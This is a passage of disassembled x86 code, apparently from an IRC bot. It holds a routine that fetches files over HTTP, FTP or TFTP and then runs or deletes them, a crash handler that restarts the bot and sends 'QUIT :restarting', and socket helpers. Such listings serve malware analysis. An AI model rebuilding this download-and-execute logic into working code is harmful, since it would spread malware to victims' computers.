eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] test eax, eax jz short loc_402C23 mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 2Fh jnz short loc_402C7A loc_402C23: ; CODE XREF: sub_402A32+1D6j mov eax, [ebp+var_7E0] and [ebp+eax+var_6D5], 0 lea eax, [ebp+var_6D4] push eax call sub_40422A pop ecx test eax, eax jz short loc_402C75 mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_638] add eax, [ebp+var_7E0] push eax mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6C8], 1 loc_402C75: ; CODE XREF: sub_402A32+20Ej jmp loc_403251 ; --------------------------------------------------------------------------- loc_402C7A: ; CODE XREF: sub_402A32+1EFj mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 30h jl short loc_402CCE mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 39h jg short loc_402CCE mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] mov ecx, [ebp+var_7E0] mov al, [ebp+eax+var_638] mov [ebp+ecx+var_6D5], al jmp short loc_402CD3 ; --------------------------------------------------------------------------- loc_402CCE: ; CODE XREF: sub_402A32+25Fj ; sub_402A32+278j jmp loc_40324C ; --------------------------------------------------------------------------- loc_402CD3: ; CODE XREF: sub_402A32+29Aj jmp loc_402BE5 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_402A32+1A1j jmp loc_402BA8 ; --------------------------------------------------------------------------- loc_402CDD: ; CODE XREF: sub_402A32+18Aj ; sub_402A32:loc_40324Cj ... push 7 push offset aHttp ; "http://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402D37 cmp [ebp+var_6C8], 0 jnz short loc_402D13 push offset a80 ; "80" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402D13: ; CODE XREF: sub_402A32+2CCj lea eax, [ebp+var_631] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6CC], 1 jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402D37: ; CODE XREF: sub_402A32+2C3j push 6 push offset aFtp ; "ftp://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402DB7 cmp [ebp+var_6C8], 0 jnz short loc_402D6D push offset a21 ; "21" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402D6D: ; CODE XREF: sub_402A32+326j lea eax, [ebp+var_632] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6CC], 2 push offset aAnonymous ; "anonymous" lea eax, [ebp+var_284] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aAnonymous ; "anonymous" lea eax, [ebp+var_6BC] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402DB7: ; CODE XREF: sub_402A32+31Dj push 7 push offset aTftp ; "tftp://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402E0E cmp [ebp+var_6C8], 0 jnz short loc_402DED push offset a69 ; "69" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402DED: ; CODE XREF: sub_402A32+3A6j lea eax, [ebp+var_631] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6CC], 3 jmp short loc_402E3D ; --------------------------------------------------------------------------- loc_402E0E: ; CODE XREF: sub_402A32+39Dj mov eax, [ebp+var_63C] push dword ptr [eax] push offset unk_418500 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 0Ch push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402E3D: ; CODE XREF: sub_402A32+300j ; sub_402A32+380j ... lea eax, [ebp+var_638] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_6C0], eax jmp short loc_402E5F ; --------------------------------------------------------------------------- loc_402E52: ; CODE XREF: sub_402A32:loc_402F11j mov eax, [ebp+var_6C0] dec eax mov [ebp+var_6C0], eax loc_402E5F: ; CODE XREF: sub_402A32+41Ej cmp [ebp+var_6C0], 0FFFFFFFFh jz loc_402F16 mov eax, [ebp+var_6C0] movsx eax, [ebp+eax+var_638] cmp eax, 40h jnz loc_402F11 mov eax, [ebp+var_6C0] and [ebp+eax+var_638], 0 push offset asc_4184FC ; ":" lea eax, [ebp+var_638] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_7E4], eax cmp [ebp+var_7E4], 0 jz short loc_402ED8 mov eax, [ebp+var_7E4] and byte ptr [eax], 0 push 80h mov eax, [ebp+var_7E4] inc eax push eax lea eax, [ebp+var_6BC] push eax call sub_407A56 add esp, 0Ch loc_402ED8: ; CODE XREF: sub_402A32+47Fj push 80h lea eax, [ebp+var_638] push eax lea eax, [ebp+var_284] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_637] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402F16 ; --------------------------------------------------------------------------- loc_402F11: ; CODE XREF: sub_402A32+44Bj jmp loc_402E52 ; --------------------------------------------------------------------------- loc_402F16: ; CODE XREF: sub_402A32+434j ; sub_402A32+4DDj push offset asc_4184F8 ; "/" lea eax, [ebp+var_638] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_288], eax cmp [ebp+var_288], 0 jnz short loc_402F67 mov eax, [ebp+var_63C] push dword ptr [eax] push offset unk_4184CC lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 0Ch push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402F67: ; CODE XREF: sub_402A32+504j mov eax, [ebp+var_288] inc eax push eax lea eax, [ebp+var_204] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_288] and byte ptr [eax], 0 lea eax, [ebp+var_638] push eax lea eax, [ebp+var_100] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx call sub_416B64 ; clock mov [ebp-6D8h], eax and [ebp+var_6C4], 0 cmp [ebp+var_6CC], 1 jnz short loc_403009 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_6BC] push eax lea eax, [ebp+var_284] push eax call sub_402698 add esp, 24h mov [ebp+var_28C], eax loc_403009: ; CODE XREF: sub_402A32+582j cmp [ebp+var_6CC], 2 jnz short loc_403065 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_6BC] push eax lea eax, [ebp+var_284] push eax call sub_402A24 add esp, 24h mov [ebp+var_28C], eax loc_403065: ; CODE XREF: sub_402A32+5DEj cmp [ebp+var_6CC], 3 jnz short loc_4030B3 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax call sub_402A2B add esp, 1Ch mov [ebp+var_28C], eax loc_4030B3: ; CODE XREF: sub_402A32+63Aj ; sub_402A32:loc_403256j cmp [ebp+var_28C], 1 jnz loc_403219 movsx eax, [ebp+var_296] test eax, eax jz short loc_4030D7 mov [ebp+var_7EC], offset dword_4184C0 jmp short loc_403104 ; --------------------------------------------------------------------------- loc_4030D7: ; CODE XREF: sub_402A32+697j movsx eax, [ebp+var_2A6] test eax, eax jz short loc_4030EE mov [ebp+var_7F0], offset dword_4184B4 jmp short loc_4030F8 ; --------------------------------------------------------------------------- loc_4030EE: ; CODE XREF: sub_402A32+6AEj mov [ebp+var_7F0], offset byte_41DE30 loc_4030F8: ; CODE XREF: sub_402A32+6BAj mov eax, [ebp+var_7F0] mov [ebp+var_7EC], eax loc_403104: ; CODE XREF: sub_402A32+6A3j push [ebp+var_7EC] mov eax, [ebp+var_6C4] shr eax, 0Ah mov dword ptr [ebp+var_7F8], eax and dword ptr [ebp+var_7F8+4], 0 fild [ebp+var_7F8] fstp [ebp+var_7FC] call sub_416B64 ; clock sub eax, [ebp-6D8h] mov dword ptr [ebp+var_804], eax and dword ptr [ebp+var_804+4], 0 fild [ebp+var_804] fdiv flt_417270 fdivr [ebp+var_7FC] push ecx push ecx fstp [esp+814h+var_814] lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41846C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 1Ch movsx eax, [ebp+var_2A7] test eax, eax jz short loc_403198 lea eax, [ebp+var_534] push eax call dword_4170AC ; DeleteFileA jmp short loc_403217 ; --------------------------------------------------------------------------- loc_403198: ; CODE XREF: sub_402A32+755j movsx eax, [ebp+var_2A6] test eax, eax jnz short loc_4031AE movsx eax, [ebp+var_296] test eax, eax jz short loc_403217 loc_4031AE: ; CODE XREF: sub_402A32+76Fj movsx eax, [ebp+var_2A3] neg eax sbb eax, eax inc eax push eax push 0 push 0 lea eax, [ebp+var_534] push eax push offset aOpen ; "open" push 0 call dword_4171D0 mov [ebp+var_7E8], eax cmp [ebp+var_7E8], 20h jbe short loc_4031F4 movsx eax, [ebp+var_296] test eax, eax jz short loc_4031F2 call sub_407148 loc_4031F2: ; CODE XREF: sub_402A32+7B9j jmp short loc_403217 ; --------------------------------------------------------------------------- loc_4031F4: ; CODE XREF: sub_402A32+7AEj lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_418444 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_403217: ; CODE XREF: sub_402A32+764j ; sub_402A32+77Aj ... jmp short loc_40323C ; --------------------------------------------------------------------------- loc_403219: ; CODE XREF: sub_402A32+688j lea eax, [ebp+var_7DC] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_418414 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_40323C: ; CODE XREF: sub_402A32:loc_403217j push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp short loc_40325B ; --------------------------------------------------------------------------- loc_40324C: ; CODE XREF: sub_402A32:loc_402CCEj jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403251: ; CODE XREF: sub_402A32:loc_402C75j jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403256: ; CODE XREF: sub_402A32:loc_402B8Ej jmp loc_4030B3 ; --------------------------------------------------------------------------- loc_40325B: ; CODE XREF: sub_402A32+157j ; sub_402A32+406j ... pop edi leave retn 4 sub_402A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403260 proc near ; CODE XREF: sub_40A9CF+959p var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_4], 0 jnz short loc_403271 jmp locret_403329 ; --------------------------------------------------------------------------- loc_403271: ; CODE XREF: sub_403260+Aj push 3AFh call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_40328A jmp locret_403329 ; --------------------------------------------------------------------------- loc_40328A: ; CODE XREF: sub_403260+23j push 8 push 7Ah push 61h push 4 lea eax, [ebp+var_10] push eax call sub_410501 add esp, 14h and [ebp+eax+var_10], 0 push offset dword_418620 lea eax, [ebp+var_10] push eax call sub_416B70 ; _mbscat pop ecx pop ecx cmp [ebp+arg_8], 0 jnz short loc_4032BF lea eax, [ebp+var_10] mov [ebp+arg_8], eax loc_4032BF: ; CODE XREF: sub_403260+57j push 104h push [ebp+arg_4] mov eax, [ebp+var_14] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_14] add eax, 108h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_14] add eax, 20Ch push eax call sub_405F67 pop ecx pop ecx mov eax, [ebp+var_14] add eax, 108h push eax mov eax, [ebp+var_14] add eax, 4 push eax push offset dword_4185FC push 0 push [ebp+var_14] push offset sub_402A32 call sub_4095A4 add esp, 18h locret_403329: ; CODE XREF: sub_403260+Cj ; sub_403260+25j leave retn sub_403260 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40332B proc near ; CODE XREF: sub_4093B6+A0p ; sub_4094E6+9Bp ... var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 114h push 1 push offset dword_41DE3C call sub_409C88 pop ecx pop ecx mov [ebp+var_4], eax cmp dword_41DE38, 0 jz loc_4034D9 mov [ebp+var_8], offset aException_othe ; "EXCEPTION_OTHER" mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax] mov [ebp+var_110], eax cmp [ebp+var_110], 0C0000025h ja short loc_4033A4 cmp [ebp+var_110], 0C0000025h jz short loc_4033FA cmp [ebp+var_110], 80000003h jz short loc_4033DF cmp [ebp+var_110], 0C0000005h jz short loc_4033D6 cmp [ebp+var_110], 0C000001Dh jz short loc_4033E8 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033A4: ; CODE XREF: sub_40332B+45j cmp [ebp+var_110], 0C000008Dh jb short loc_403413 cmp [ebp+var_110], 0C0000093h jbe short loc_40340C cmp [ebp+var_110], 0C0000094h jz short loc_4033F1 cmp [ebp+var_110], 0C00000FDh jz short loc_403403 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033D6: ; CODE XREF: sub_40332B+69j mov [ebp+var_8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033DF: ; CODE XREF: sub_40332B+5Dj mov [ebp+var_8], offset aException_brea ; "EXCEPTION_BREAKPOINT" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033E8: ; CODE XREF: sub_40332B+75j mov [ebp+var_8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033F1: ; CODE XREF: sub_40332B+9Bj mov [ebp+var_8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033FA: ; CODE XREF: sub_40332B+51j mov [ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_403403: ; CODE XREF: sub_40332B+A7j mov [ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_40340C: ; CODE XREF: sub_40332B+8Fj mov [ebp+var_8], offset aException_flt ; "EXCEPTION_FLT" loc_403413: ; CODE XREF: sub_40332B+77j ; sub_40332B+83j ... mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_40342A mov [ebp+var_114], offset aRestarting ; "Restarting" jmp short loc_403434 ; --------------------------------------------------------------------------- loc_40342A: ; CODE XREF: sub_40332B+F1j mov [ebp+var_114], offset aContinuing ; "Continuing" loc_403434: ; CODE XREF: sub_40332B+FDj push [ebp+var_114] push [ebp+var_8] mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C0h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+9Ch] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A0h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0ACh] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B0h] mov eax, [ebp+var_4] inc eax push eax push [ebp+arg_8] push [ebp+arg_4] push offset dword_41864C push offset dword_41DAB4 call sub_40D4AB add esp, 48h loc_4034D9: ; CODE XREF: sub_40332B+21j mov eax, [ebp+var_4] inc eax cmp eax, 64h jz short loc_4034ED mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_403558 loc_4034ED: ; CODE XREF: sub_40332B+1B5j push 104h lea eax, [ebp+var_10C] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA test eax, eax jz short loc_403545 push 0 push 0 push 0 lea eax, [ebp+var_10C] push eax push offset aOpen ; "open" push 0 call dword_4171D0 cmp eax, 20h ja short loc_403538 push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp short loc_403543 ; --------------------------------------------------------------------------- loc_403538: ; CODE XREF: sub_40332B+1FEj push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403543: ; CODE XREF: sub_40332B+20Bj jmp short loc_403550 ; --------------------------------------------------------------------------- loc_403545: ; CODE XREF: sub_40332B+1DFj push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403550: ; CODE XREF: sub_40332B:loc_403543j push 0 call dword_41705C ; ExitProcess loc_403558: ; CODE XREF: sub_40332B+1C0j mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax], 80000003h jnz short loc_403583 mov eax, [ebp+arg_0] mov eax, [eax+4] mov eax, [eax+0B8h] inc eax mov ecx, [ebp+arg_0] mov ecx, [ecx+4] mov [ecx+0B8h], eax or eax, 0FFFFFFFFh jmp short locret_403586 ; --------------------------------------------------------------------------- loc_403583: ; CODE XREF: sub_40332B+238j push 1 pop eax locret_403586: ; CODE XREF: sub_40332B+256j leave retn sub_40332B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403588 proc near ; DATA XREF: sub_403BD3:loc_403D85o var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = dword ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 48h cmp [ebp+arg_8], 0 jz short loc_4035E2 mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jz short loc_4035BB mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 2 jz short loc_4035BB push 273Fh call dword_417234 ; WSASetLastError mov eax, 273Fh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035BB: ; CODE XREF: sub_403588+13j ; sub_403588+1Cj mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 1 jz short loc_4035E2 mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 2 jz short loc_4035E2 push 273Ch call dword_417234 ; WSASetLastError mov eax, 273Ch jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035E2: ; CODE XREF: sub_403588+Aj ; sub_403588+3Aj ... cmp [ebp+arg_0], 0 jnz loc_4036D6 push 30h call sub_416B46 ; malloc pop ecx mov [ebp+var_34], eax cmp [ebp+var_34], 0 jnz short loc_40360D push 8 call dword_417234 ; WSASetLastError push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40360D: ; CODE XREF: sub_403588+73j push 30h push 0 push [ebp+var_34] call sub_416B6A ; memset add esp, 0Ch push 10h push 0 lea eax, [ebp+var_30] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_30], 2 cmp [ebp+arg_4], 0 jz short loc_40364C push [ebp+arg_4] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp+var_2E], ax loc_40364C: ; CODE XREF: sub_403588+AEj mov eax, [ebp+var_34] mov dword ptr [eax+4], 2 cmp [ebp+arg_8], 0 jz short loc_403667 mov eax, [ebp+arg_8] mov eax, [eax+8] mov [ebp+var_38], eax jmp short loc_40366E ; --------------------------------------------------------------------------- loc_403667: ; CODE XREF: sub_403588+D2j mov [ebp+var_38], 1 loc_40366E: ; CODE XREF: sub_403588+DDj mov eax, [ebp+var_34] mov ecx, [ebp+var_38] mov [eax+8], ecx cmp [ebp+arg_8], 0 jz short loc_403688 mov eax, [ebp+arg_8] mov eax, [eax+0Ch] mov [ebp+var_3C], eax jmp short loc_40368F ; --------------------------------------------------------------------------- loc_403688: ; CODE XREF: sub_403588+F3j mov [ebp+var_3C], 6 loc_40368F: ; CODE XREF: sub_403588+FEj mov eax, [ebp+var_34] mov ecx, [ebp+var_3C] mov [eax+0Ch], ecx mov eax, [ebp+var_34] mov dword ptr [eax+10h], 10h mov eax, [ebp+var_34] add eax, 20h mov ecx, [ebp+var_34] mov [ecx+18h], eax and [ebp+var_2C], 0 push 10h lea eax, [ebp+var_30] push eax mov eax, [ebp+var_34] add eax, 20h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_C] mov ecx, [ebp+var_34] mov [eax], ecx xor eax, eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036D6: ; CODE XREF: sub_403588+5Ej push [ebp+arg_0] call dword_41723C ; gethostbyname mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4036F2 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036F2: ; CODE XREF: sub_403588+15Ej and [ebp+var_20], 0 jmp short loc_4036FF ; --------------------------------------------------------------------------- loc_4036F8: ; CODE XREF: sub_403588+18Cj mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4036FF: ; CODE XREF: sub_403588+16Ej cmp [ebp+var_14], 0 jz short loc_403716 mov eax, [ebp+var_14] mov eax, [eax+0Ch] mov ecx, [ebp+var_20] cmp dword ptr [eax+ecx*4], 0 jz short loc_403716 jmp short loc_4036F8 ; --------------------------------------------------------------------------- loc_403716: ; CODE XREF: sub_403588+17Bj ; sub_403588+18Aj cmp [ebp+var_20], 0 jnz short loc_403726 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_403726: ; CODE XREF: sub_403588+192j mov eax, [ebp+var_20] imul eax, 30h push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_40374C push 8 call dword_417234 ; WSASetLastError push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40374C: ; CODE XREF: sub_403588+1B2j mov eax, [ebp+var_20] imul eax, 30h push eax push 0 push [ebp+var_1C] call sub_416B6A ; memset add esp, 0Ch push 10h push 0 lea eax, [ebp+var_10] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_10], 2 cmp [ebp+arg_4], 0 jz short loc_403790 push [ebp+arg_4] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp+var_E], ax loc_403790: ; CODE XREF: sub_403588+1F2j and [ebp+var_18], 0 jmp short loc_40379D ; --------------------------------------------------------------------------- loc_403796: ; CODE XREF: sub_403588:loc_4038A7j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_40379D: ; CODE XREF: sub_403588+20Cj mov eax, [ebp+var_18] cmp eax, [ebp+var_20] jnb loc_4038AC cmp [ebp+arg_8], 0 jz short loc_4037B9 mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_40], eax jmp short loc_4037C0 ; --------------------------------------------------------------------------- loc_4037B9: ; CODE XREF: sub_403588+225j mov [ebp+var_40], 4 loc_4037C0: ; CODE XREF: sub_403588+22Fj mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_40] mov [ecx+eax], edx mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov dword ptr [ecx+eax+4], 2 cmp [ebp+arg_8], 0 jz short loc_4037F1 mov eax, [ebp+arg_8] mov eax, [eax+8] mov [ebp+var_44], eax jmp short loc_4037F8 ; --------------------------------------------------------------------------- loc_4037F1: ; CODE XREF: sub_403588+25Cj mov [ebp+var_44], 1 loc_4037F8: ; CODE XREF: sub_403588+267j mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_44] mov [ecx+eax+8], edx cmp [ebp+arg_8], 0 jz short loc_403819 mov eax, [ebp+arg_8] mov eax, [eax+0Ch] mov [ebp+var_48], eax jmp short loc_403820 ; --------------------------------------------------------------------------- loc_403819: ; CODE XREF: sub_403588+284j mov [ebp+var_48], 6 loc_403820: ; CODE XREF: sub_403588+28Fj mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_48] mov [ecx+eax+0Ch], edx mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov dword ptr [ecx+eax+10h], 10h mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] lea eax, [ecx+eax+20h] mov ecx, [ebp+var_18] imul ecx, 30h mov edx, [ebp+var_1C] mov [edx+ecx+18h], eax mov eax, [ebp+var_14] mov eax, [eax+0Ch] mov ecx, [ebp+var_18] mov eax, [eax+ecx*4] mov eax, [eax] mov [ebp+var_C], eax push 10h lea eax, [ebp+var_10] push eax mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] lea eax, [ecx+eax+20h] push eax call sub_416B52 ; memcpy add esp, 0Ch cmp [ebp+var_18], 0 jz short loc_4038A7 mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] add ecx, eax mov eax, [ebp+var_18] dec eax imul eax, 30h mov edx, [ebp+var_1C] mov [edx+eax+1Ch], ecx loc_4038A7: ; CODE XREF: sub_403588+304j jmp loc_403796 ; --------------------------------------------------------------------------- loc_4038AC: ; CODE XREF: sub_403588+21Bj mov eax, [ebp+arg_C] mov ecx, [ebp+var_1C] mov [eax], ecx xor eax, eax locret_4038B6: ; CODE XREF: sub_403588+2Ej ; sub_403588+55j ... leave retn 10h sub_403588 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038BA proc near ; DATA XREF: sub_403BD3+1BCo var_434 = dword ptr -434h var_430 = byte ptr -430h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 434h cmp [ebp+arg_8], 0 jnz short loc_4038CF cmp [ebp+arg_10], 0 jz short loc_4038D8 loc_4038CF: ; CODE XREF: sub_4038BA+Dj mov eax, [ebp+arg_18] and al, 0E0h test eax, eax jz short loc_4038ED loc_4038D8: ; CODE XREF: sub_4038BA+13j push 2726h call dword_417234 ; WSASetLastError mov eax, 2726h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4038ED: ; CODE XREF: sub_4038BA+1Cj mov eax, [ebp+arg_0] mov [ebp+var_40C], eax mov eax, [ebp+var_40C] movsx eax, word ptr [eax] cmp eax, 2 jz short loc_403919 push 273Fh call dword_417234 ; WSASetLastError mov eax, 273Fh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403919: ; CODE XREF: sub_4038BA+48j cmp [ebp+arg_8], 0 jz loc_403ABA mov eax, [ebp+var_40C] push dword ptr [eax+4] call dword_41721C ; inet_ntoa mov [ebp+var_434], eax cmp [ebp+var_434], 0 jnz short loc_403949 or eax, 0FFFFFFFFh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403949: ; CODE XREF: sub_4038BA+85j push 401h push [ebp+var_434] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+arg_18] and eax, 2 test eax, eax jz short loc_403972 jmp loc_403BB4 ; --------------------------------------------------------------------------- loc_403972: ; CODE XREF: sub_4038BA+B1j mov eax, [ebp+arg_18] and eax, 4 test eax, eax jz short loc_4039F4 push 0 push 4 mov eax, [ebp+var_40C] add eax, 4 push eax call dword_417220 ; gethostbyaddr mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_4039AA call dword_417224 ; WSAGetLastError jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039AA: ; CODE XREF: 